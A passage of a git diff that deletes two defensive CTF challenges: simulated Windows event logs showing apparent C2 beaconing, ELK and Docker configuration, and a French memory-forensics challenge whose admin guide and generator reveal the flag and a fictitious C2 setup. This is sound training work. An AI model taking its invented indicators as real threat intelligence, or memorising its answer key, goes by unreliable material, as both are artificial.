query","category":"Process"} -{"@timestamp":"2026-03-15T11:20:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T11:26:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry HTTPS","category":"Network"} -{"@timestamp":"2026-03-15T11:28:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:30:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52 /f","description":"RDP client full screen to APP-SRV01","category":"Process"} -{"@timestamp":"2026-03-15T11:33:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T11:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:36:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:40:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:44:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB communication","category":"Network"} -{"@timestamp":"2026-03-15T11:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard","category":"Authentication"} -{"@timestamp":"2026-03-15T11:48:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:52:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T11:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T11:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T11:58:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":389,"protocol":"LDAP","description":"Monitoring LDAP query to DC01","category":"Network"} -{"@timestamp":"2026-03-15T12:00:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T12:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:04:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"notepad.exe","parent_process":"rdpclip.exe","command_line":"notepad.exe C:\\Logs\\app_errors.log","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T12:06:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:08:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} -{"@timestamp":"2026-03-15T12:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:12:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} -{"@timestamp":"2026-03-15T12:14:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE synthese_incidents.docx","description":"A new process has been created","category":"Process"} -{"@timestamp":"2026-03-15T12:16:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} -{"@timestamp":"2026-03-15T12:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication","category":"Network"} -{"@timestamp":"2026-03-15T12:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/pipeline/logstash.conf b/challenges/1-Blue-Team-Phishing-ELK-Sarah/pipeline/logstash.conf deleted file mode 100644 index eb7fc9e..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/pipeline/logstash.conf +++ /dev/null @@ -1,46 +0,0 @@ -input { - file { - path => "/opt/ctf-logs-src/*.json" - start_position => "beginning" - sincedb_path => "/dev/null" - codec => json_lines - mode => "read" - ecs_compatibility => "disabled" - } -} - -filter { - date { - match => ["@timestamp", "ISO8601"] - target => "@timestamp" - } - - mutate { - add_field => { - "environment" => "corp.local" - "domain" => "CORP" - "ctf_scenario" => "DFIR-Incident-2024-03-15" - } - } - - # Mapping hôte → IP - if [host] == "WIN-ACCT01" { - mutate { add_field => { "host_ip" => "192.168.10.45" } } - } - if [host] == "APP-SRV01" { - mutate { add_field => { "host_ip" => "192.168.10.52" } } - } - if [host] == "DC01" { - mutate { add_field => { "host_ip" => "192.168.10.10" } } - } -} - -output { - elasticsearch { - hosts => ["http://localhost:9200"] - index => "dfir-incident-%{+YYYY.MM.dd}" - action => "index" - ilm_enabled => false - ecs_compatibility => "disabled" - } -} diff --git a/challenges/1-Blue-Team-Phishing-ELK-Sarah/supervisord.conf b/challenges/1-Blue-Team-Phishing-ELK-Sarah/supervisord.conf deleted file mode 100644 index 34cf7c7..0000000 --- a/challenges/1-Blue-Team-Phishing-ELK-Sarah/supervisord.conf +++ /dev/null @@ -1,40 +0,0 @@ -[supervisord] -nodaemon=true -logfile=/var/log/supervisord.log -logfile_maxbytes=10MB - -[program:elasticsearch] -command=/usr/share/elasticsearch/bin/elasticsearch -user=elasticsearch -environment=ES_JAVA_OPTS="-Xms512m -Xmx512m" -stdout_logfile=/var/log/elasticsearch.log -stderr_logfile=/var/log/elasticsearch.log -autorestart=true -priority=10 -startretries=3 - -[program:kibana] -command=/usr/share/kibana/bin/kibana -user=kibana -stdout_logfile=/var/log/kibana.log -stderr_logfile=/var/log/kibana.log -autorestart=true -priority=20 -startsecs=30 - -[program:inject-logs] -command=/usr/bin/python3 /opt/inject_logs.py -user=root -stdout_logfile=/var/log/inject-logs.log -stderr_logfile=/var/log/inject-logs.log -autorestart=false -startsecs=0 -priority=30 - -[program:kibana-init] -command=/opt/import_kibana.sh -stdout_logfile=/var/log/kibana-init.log -stderr_logfile=/var/log/kibana-init.log -autorestart=false -startsecs=5 -priority=40 diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore b/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore deleted file mode 100644 index 7c6271d..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore +++ /dev/null @@ -1,30 +0,0 @@ -# Environnement virtuel local -venv/ -.venv/ - -# Solution complète (ne pas embarquer dans l'image joueur) -solution/SOLUTION.md - -# Fichiers Python cache -__pycache__/ -*.pyc -*.pyo - -# Git -.git/ -.gitignore - -# Éditeur -.vscode/ -*.swp -*.swo - -# Fichiers générés localement (seront recréés dans le build) -challenge/ -dump_out/ -extracted/ - -# Docker -Dockerfile -docker-compose.yml -.dockerignore diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore b/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore deleted file mode 100644 index 87e29b1..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Fichiers générés au build Docker (recréés automatiquement) -challenge/memory.dmp -challenge/network_capture.pcap -challenge/hints.txt - -# Export Docker (trop lourd pour git) -*.tar -*.tar.gz - -# Python -__pycache__/ -*.pyc -*.pyo -.venv/ -venv/ - -# Fichiers extraits/générés localement -dump_out/ -extracted/ - -# Éditeur -.vscode/ -*.swp -*.swo diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile b/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile deleted file mode 100644 index b5cdbf3..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile +++ /dev/null @@ -1,71 +0,0 @@ -# ============================================================================= -# Blue Team CTF – Memory Forensics Challenge (Container) -# ============================================================================= -# Stage 1 : Génère le dump mémoire et le PCAP -# Stage 2 : Image légère avec uniquement les outils d'analyse + les fichiers -# ============================================================================= - -# ── Stage 1 : Builder (génération des artefacts) ───────────────────────────── -FROM python:3.11-slim AS builder - -WORKDIR /build - -# Copier les scripts de génération -COPY setup/ ./setup/ - -# Installer les dépendances de génération -RUN pip install --no-cache-dir -r setup/requirements.txt - -# Générer le dump mémoire et le PCAP -RUN python setup/generate_challenge.py && \ - python setup/generate_pcap.py - - -# ── Stage 2 : Image finale (challenge) ─────────────────────────────────────── -FROM python:3.11-slim - -LABEL maintainer="Jakub – ESGI Projet Annuel 2026" -LABEL description="Blue Team CTF – Mémoire et Analyse de Malware" - -# Empêcher Python de bufferiser stdout/stderr -ENV PYTHONUNBUFFERED=1 -ENV TERM=xterm-256color - -WORKDIR /challenge - -# Copier les artefacts générés depuis le builder -COPY --from=builder /build/challenge/ ./challenge/ - -# Copier les outils d'analyse (accessibles au joueur) -COPY tools/ ./tools/ - -# Copier le template de rapport -COPY report/ ./report/ - -# Copier le script de validation (le joueur peut valider ses réponses) -COPY solution/validate_flag.py ./solution/validate_flag.py - -# Copier le README -COPY README.md ./README.md - -# Copier le script d'accueil -COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh -RUN chmod +x /usr/local/bin/docker-entrypoint.sh - -# Créer un utilisateur non-root pour le joueur -RUN useradd -m -s /bin/bash analyst && \ - chown -R analyst:analyst /challenge - -# Installer les outils utiles pour l'analyse -RUN apt-get update && apt-get install -y --no-install-recommends \ - less \ - nano \ - vim-tiny \ - xxd \ - file \ - && rm -rf /var/lib/apt/lists/* - -USER analyst - -ENTRYPOINT ["docker-entrypoint.sh"] -CMD ["/bin/bash"] diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md deleted file mode 100644 index b02f7a4..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md +++ /dev/null @@ -1,77 +0,0 @@ -# 🔵 Blue Team CTF – Mémoire et Analyse de Malware -### Challenge Jakub – Forensique Mémoire avec Volatility - -## 📌 Documentation -- Guide joueur: `docs/USER_GUIDE.md` -- Guide admin/deploiement: `docs/ADMIN_DEPLOYMENT.md` - ---- - -## 📖 Contexte - -L'équipe SOC a été alertée d'un comportement suspect sur la machine **DESKTOP-F4K3LAB** du réseau interne. Un analyste junior a immédiatement effectué un dump mémoire de la VM Windows compromise avant de l'isoler du réseau. - -L'investigation préliminaire suggère que **l'attaquant a déployé un implant en mémoire qui communique avec un serveur C2 (Command & Control)**. Votre mission est d'analyser ce dump mémoire pour identifier la menace, extraire les artefacts malveillants et récupérer les preuves. - -> 🎯 **Objectif** : Trouver le processus malveillant, identifier le C2, et récupérer le flag caché. - ---- - -## 📁 Structure du Challenge - -``` -2-Blue-Team-Memory-Forensics/ -├── README.md ← Vous êtes ici -├── Dockerfile ← Image du challenge -├── docker-compose.yml ← Orchestration Docker -├── docker-entrypoint.sh ← Script d'accueil du conteneur -├── .dockerignore ← Fichiers exclus du build -├── challenge/ ← (généré au build Docker) -│ ├── memory.dmp ← Dump mémoire à analyser -│ ├── network_capture.pcap ← Capture réseau bonus -│ └── hints.txt ← Indices (si besoin) -├── docs/ -│ ├── USER_GUIDE.md ← Guide joueur -│ └── ADMIN_DEPLOYMENT.md ← Guide admin et déploiement -├── tools/ -│ ├── vol_analyzer.py ← Outil d'analyse (mini-Volatility) -│ └── extract_strings.py ← Extracteur de chaînes -├── setup/ -│ ├── generate_challenge.py ← Générateur du dump (admin only) -│ ├── generate_pcap.py ← Générateur du PCAP (admin only) -│ └── requirements.txt ← Dépendances Python -├── solution/ -│ ├── SOLUTION.md ← Solution complète (⚠️ SPOILERS) -│ └── validate_flag.py ← Script de validation -└── report/ - └── report_template.md ← Template de rapport à remplir (partagé) -``` - ---- - -## 🎯 Public cible - -Ce depot contient deux parcours de documentation : -- Joueurs CTF : `docs/USER_GUIDE.md` -- Admins/DevOps (deploiement) : `docs/ADMIN_DEPLOYMENT.md` - -## ✅ Usage recommande - -- Si vous etes joueur : commencez par `docs/USER_GUIDE.md` -- Si vous deployez le challenge dans CTFd : suivez `docs/ADMIN_DEPLOYMENT.md` - -## 🔎 Notes - -- Le challenge est conteneurise pour l'isolation des instances. -- Le mode soutenance actuel expose les artefacts via HTTP depuis le conteneur. -- Le detail de configuration CTFd, du flag et du troubleshooting est volontairement deplace dans `docs/ADMIN_DEPLOYMENT.md`. - ---- - -## ⚠️ Avertissement - -Ce challenge est conçu à des fins **éducatives uniquement**. Les techniques présentées doivent être utilisées de manière éthique et légale, uniquement dans des environnements autorisés. - ---- - -*Blue Team CTF – Jakub – ESGI Projet Annuel 2026* \ No newline at end of file diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml deleted file mode 100644 index 80f31ea..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -# ============================================================================= -# Blue Team CTF – Docker Compose -# ============================================================================= - -services: - blue-team-challenge: - build: - context: . - dockerfile: Dockerfile - container_name: blueteam-memory-forensics - stdin_open: true # -i : garder stdin ouvert - tty: true # -t : allouer un pseudo-TTY - volumes: - # Le rapport est partagé avec l'hôte pour pouvoir le récupérer - - ./report:/challenge/report - # Pas de ports exposés : le challenge est 100% en CLI dans le conteneur diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh deleted file mode 100644 index fa17999..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/bash -# ============================================================================= -# Blue Team CTF – Script d'accueil du conteneur -# Mode dual : HTTP (port 8000) pour le download des artefacts -# + terminal interactif pour l'analyse locale -# ============================================================================= - -# ── Démarrer le serveur HTTP en arrière-plan ────────────────────────────────── -python3 -m http.server 8000 --directory /challenge/challenge & -HTTP_PID=$! -echo "[+] Serveur HTTP démarré sur le port 8000 (PID: $HTTP_PID)" - -cat << 'BANNER' - - ╔══════════════════════════════════════════════════════════════╗ - ║ ║ - ║ 🔵 BLUE TEAM CTF – Mémoire et Analyse de Malware ║ - ║ ║ - ║ Jakub – ESGI Projet Annuel 2026 ║ - ║ ║ - ╠══════════════════════════════════════════════════════════════╣ - ║ ║ - ║ 📖 Contexte : ║ - ║ L'attaquant a déployé un implant en mémoire qui ║ - ║ communique avec un serveur C2. ║ - ║ Trouvez le C2 et le flag ! ║ - ║ ║ - ║ 🌐 Téléchargement des artefacts (via CTFd) : ║ - ║ http://:8000/memory.dmp ║ - ║ http://:8000/network_capture.pcap ║ - ║ http://:8000/hints.txt ║ - ║ ║ - ║ 📁 Fichiers disponibles localement : ║ - ║ challenge/memory.dmp → Dump mémoire ║ - ║ challenge/network_capture.pcap → Capture réseau (bonus) ║ - ║ challenge/hints.txt → Indices ║ - ║ report/report_template.md → Rapport à remplir ║ - ║ ║ - ║ 🔧 Outils d'analyse (dans ce terminal) : ║ - ║ python3 tools/vol_analyzer.py -f challenge/memory.dmp \ ║ - ║ windows.info | pslist | pstree | netscan | ║ - ║ malfind | dlllist | handles | dumpfiles | ║ - ║ strings | registry ║ - ║ ║ - ║ ✅ Validation : ║ - ║ python3 solution/validate_flag.py ║ - ║ ║ - ║ 💡 Commencez par : ║ - ║ python3 tools/vol_analyzer.py -f challenge/memory.dmp \ ║ - ║ windows.pslist ║ - ║ ║ - ╚══════════════════════════════════════════════════════════════╝ - -BANNER - -# ── Mode dual : interactif (local) vs détaché (CTFd) ───────────────────────── -if [ -t 0 ]; then - # TTY présent → mode interactif (docker run -it) : lancer bash - exec "$@" -else - # Pas de TTY → mode CTFd détaché : le conteneur vit via le serveur HTTP - echo "[+] Mode non-interactif détecté (CTFd). En attente sur le serveur HTTP..." - wait $HTTP_PID -fi diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md deleted file mode 100644 index b5d4543..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md +++ /dev/null @@ -1,90 +0,0 @@ -# Blue Team Memory Forensics - Guide Admin/Deploiement - -## 1) Build de l'image -Depuis `challenges/2-Blue-Team-Memory-Forensics`: - -```bash -docker build -t blue-team-memory-forensics:latest . -``` - -## 2) Test local (mode dual : HTTP + terminal) - -Lancer le conteneur localement pour vérifier que tout fonctionne : - -```bash -docker run -it --rm -p 8000:8000 blue-team-memory-forensics:latest -``` - -- **HTTP (port 8000)** : artefacts disponibles à `http://localhost:8000/` -- **Terminal interactif** : outils d'analyse (`vol_analyzer.py`) utilisables directement - -## 3) Export et transfert vers le serveur -```bash -docker save -o blue-team-memory-forensics.tar blue-team-memory-forensics:latest -scp -i "" ".\blue-team-memory-forensics.tar" jakub@:/tmp/ -``` - -## 4) Import sur le serveur -```bash -docker load -i /tmp/blue-team-memory-forensics.tar -docker images | grep blue-team-memory-forensics -``` - -## 5) Configuration CTFd (soutenance) -Challenge type: `container` - -- **Name**: `Blue Team - Jakub - Memoire et analyse de malware (Volatility)` -- **Category**: `Blue Team` -- **Image**: `blue-team-memory-forensics:latest` -- **Port**: `8000` -- **Command**: laisser vide (l'entrypoint gère tout : HTTP + terminal) -- **Initial Value**: `100` -- **Decay Limit**: `0` -- **Minimum Value**: `100` -- **Volumes**: vide - -> **Note** : Le conteneur démarre automatiquement : -> 1. Un serveur HTTP sur le port 8000 → les joueurs téléchargent les artefacts via l'URL CTFd -> 2. Un terminal bash → accessible via `docker exec` pour les tests admin - -## 6) Creation du flag (obligatoire) -Dans l'onglet `Flags`: -- **Type**: `Static` -- **Valeur**: `blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}` -- **Case Sensitive**: activé - -## 7) Sequence de validation -1. Laisser le challenge en `Hidden`. -2. Tester `Start Instance` avec un compte joueur. -3. Vérifier l'accès HTTP aux fichiers : `http://:8000/memory.dmp` -4. Vérifier que `hints.txt` et `network_capture.pcap` sont bien accessibles. -5. Soumettre le flag `blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}` pour valider. -6. Passer en `Visible`. - -## 8) Troubleshooting -Si l'instance ne démarre pas : - -```bash -docker ps -a -docker logs -``` - -Si l'image n'existe pas : - -```bash -docker load -i /tmp/blue-team-memory-forensics.tar -``` - -Si le port 8000 ne répond pas : - -```bash -# Vérifier que le serveur HTTP tourne dans le conteneur -docker exec ps aux | grep http.server -``` - -## 9) Accès terminal admin (debug) -```bash -docker exec -it bash -# Puis utiliser les outils d'analyse : -python3 tools/vol_analyzer.py -f challenge/memory.dmp windows.pslist -``` diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md deleted file mode 100644 index 4c0e31f..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md +++ /dev/null @@ -1,60 +0,0 @@ -# Blue Team Memory Forensics - Guide Joueur - -## Objectif -Analyser un dump mémoire Windows compromis pour identifier le processus malveillant, le serveur C2 et récupérer le flag final. - -## Accès au challenge (via CTFd) - -1. Connectez-vous avec votre compte joueur. -2. Ouvrez le challenge `Blue Team - Jakub - Memoire et analyse de malware (Volatility)`. -3. Cliquez sur `Start Instance` et notez l'URL d'instance fournie par CTFd. -4. Téléchargez les artefacts depuis l'URL d'instance : - ``` - http://:8000/memory.dmp - http://:8000/network_capture.pcap - http://:8000/hints.txt - ``` - -## Outils d'analyse - -> ⚠️ **Important** : le dump `memory.dmp` est dans un **format pédagogique dédié à ce -> challenge**, pas une image mémoire brute standard. Le vrai Volatility 3 (`vol.py`) ne -> sait pas le lire, et un `strings` classique ne révèle pas le flag (il est encodé). -> Utilisez l'**outil fourni dans le conteneur** : `tools/vol_analyzer.py` (un -> « mini‑Volatility » qui reproduit les commandes `windows.*` sur ce format). - -Depuis le terminal du challenge (ou après avoir récupéré les fichiers du dépôt) : - -```bash -# Syntaxe générale -python3 tools/vol_analyzer.py -f challenge/memory.dmp - -# Commandes disponibles : -# windows.info windows.pslist windows.pstree windows.netscan -# windows.malfind windows.dlllist windows.handles windows.dumpfiles -# windows.strings windows.registry -``` - -Outils complémentaires : -- **`tools/extract_strings.py`** — extraction/décodage des chaînes du binaire extrait. -- **Wireshark / `tshark`** — analyse du PCAP réseau (`network_capture.pcap`) pour l'étape bonus. - -## Piste de résolution - -Toutes les commandes ci-dessous se lancent via `python3 tools/vol_analyzer.py -f challenge/memory.dmp `. - -1. `windows.pslist` / `windows.pstree` — cherchez un nom ou une hiérarchie suspecte. -2. Identifiez le processus suspect en regardant son PPID et sa session. -3. `windows.netscan` — vérifiez les connexions réseau associées à ce PID. -4. `windows.malfind` — recherchez de l'injection mémoire. -5. `windows.strings --pid ` (ou `tools/extract_strings.py`) — extrayez et analysez les chaînes du binaire malveillant. -6. Récupérez le flag caché dans la configuration du malware. - -## Format du flag -`blue{...}` - -## Soumission -Soumettez le flag final dans CTFd depuis la page du challenge. - -## Indices -Si vous êtes bloqué, consultez `hints.txt` téléchargé depuis l'instance. diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md deleted file mode 100644 index 32fd190..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md +++ /dev/null @@ -1,100 +0,0 @@ -# 🔵 Blue Team – Rapport d'Analyse Mémoire - -**Analyste :** _____________________ -**Date :** _____________________ -**Fichier analysé :** memory.dmp - ---- - -## 1. Résumé Exécutif - -_Décrivez brièvement l'incident et vos conclusions principales._ - ---- - -## 2. Processus Malveillant Identifié - -| Champ | Valeur | -|----------------------|---------------------| -| **PID** | | -| **Nom du processus** | | -| **PID Parent (PPID)**| | -| **Chemin complet** | | -| **Heure de création**| | - -### Justification -_Expliquez pourquoi ce processus est suspect (nom, parentage, chemin, comportement)._ - ---- - -## 3. Analyse des Injections (malfind) - -_Décrivez les sections mémoire suspectes trouvées :_ - -- **Adresse de base :** -- **Permissions :** (RWX ?) -- **Taille :** -- **Contenu notable :** - ---- - -## 4. Extraction & Analyse du Binaire - -_Résultats de l'extraction du processus / des fichiers :_ - -- **Hash MD5/SHA256 :** -- **Strings intéressantes :** -- **Comportement identifié :** - ---- - -## 5. Communication C2 - -| Champ | Valeur | -|----------------------|---------------------| -| **IP/URL du C2** | | -| **Port** | | -| **Protocole** | | -| **Fréquence beacon** | | - ---- - -## 6. Flag Récupéré - -``` -FLAG : ___________________________ -``` - ---- - -## 7. Corrélation Réseau (Bonus) - -_Si un fichier PCAP était disponible, décrivez les connexions réseau confirmant l'exfiltration :_ - -- **IP source :** -- **IP destination :** -- **Données exfiltrées :** - ---- - -## 8. Recommandations - -1. _Isoler la machine compromise_ -2. _Bloquer le C2 au niveau firewall_ -3. _Scanner les autres machines du réseau_ -4. _..._ - ---- - -## 9. Indicateurs de Compromission (IoC) - -| Type | Valeur | Description | -|-----------|---------------------------|-----------------------| -| IP | | | -| Domaine | | | -| Hash | | | -| Processus | | | - ---- - -**Signature de l'analyste :** _____________________ diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py b/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py deleted file mode 100644 index 6391851..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py +++ /dev/null @@ -1,422 +0,0 @@ -#!/usr/bin/env python3 -""" -============================================================================= - Blue Team CTF – Memory Dump Challenge Generator - Jakub – Mémoire et analyse de malware (Volatility) -============================================================================= -Génère un fichier memory.dmp simulé contenant : - - Une table de processus Windows réaliste (EPROCESS-like) - - Un processus malveillant injecté (implant C2) - - Des sections mémoire marquées RWX (malfind) - - Des connexions réseau actives (netscan) - - Un binaire malveillant caché avec strings C2 + flag - - Un fichier PCAP bonus avec trafic C2 - -Le dump est un format binaire structuré lisible par les outils -d'analyse fournis dans tools/. -""" - -import struct -import json -import hashlib -import os -import sys -import random -import base64 -import time -from datetime import datetime, timedelta - -# ─── Configuration du challenge ─────────────────────────────────────────────── - -CHALLENGE_CONFIG = { - "flag": "blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}", - "c2_domain": "c2.darkops-syndicate.net", - "c2_ip": "185.141.27.83", - "c2_port": 4444, - "c2_backup_port": 8443, - "malware_name": "svchost_update.exe", - "malware_pid": 6847, - "malware_ppid": 1052, # svchost.exe (session 0) – parentage illogique pour un proc en session 1 - "malware_path": r"C:\Users\admin\AppData\Local\Temp\svchost_update.exe", - "victim_ip": "192.168.1.47", - "beacon_interval": 30, - "encryption_key": "X0rK3y!@#2026", - "exfil_data": "CONFIDENTIAL_PROJECT_OMEGA_FILES", -} - -# ─── Processus légitimes Windows réalistes ───────────────────────────────────── - -LEGITIMATE_PROCESSES = [ - {"pid": 4, "ppid": 0, "name": "System", "path": r"", "threads": 164, "handles": 2847, "session": 0, "create_time": "2026-02-20 08:00:01"}, - {"pid": 108, "ppid": 4, "name": "Registry", "path": r"", "threads": 4, "handles": 0, "session": 0, "create_time": "2026-02-20 08:00:01"}, - {"pid": 392, "ppid": 4, "name": 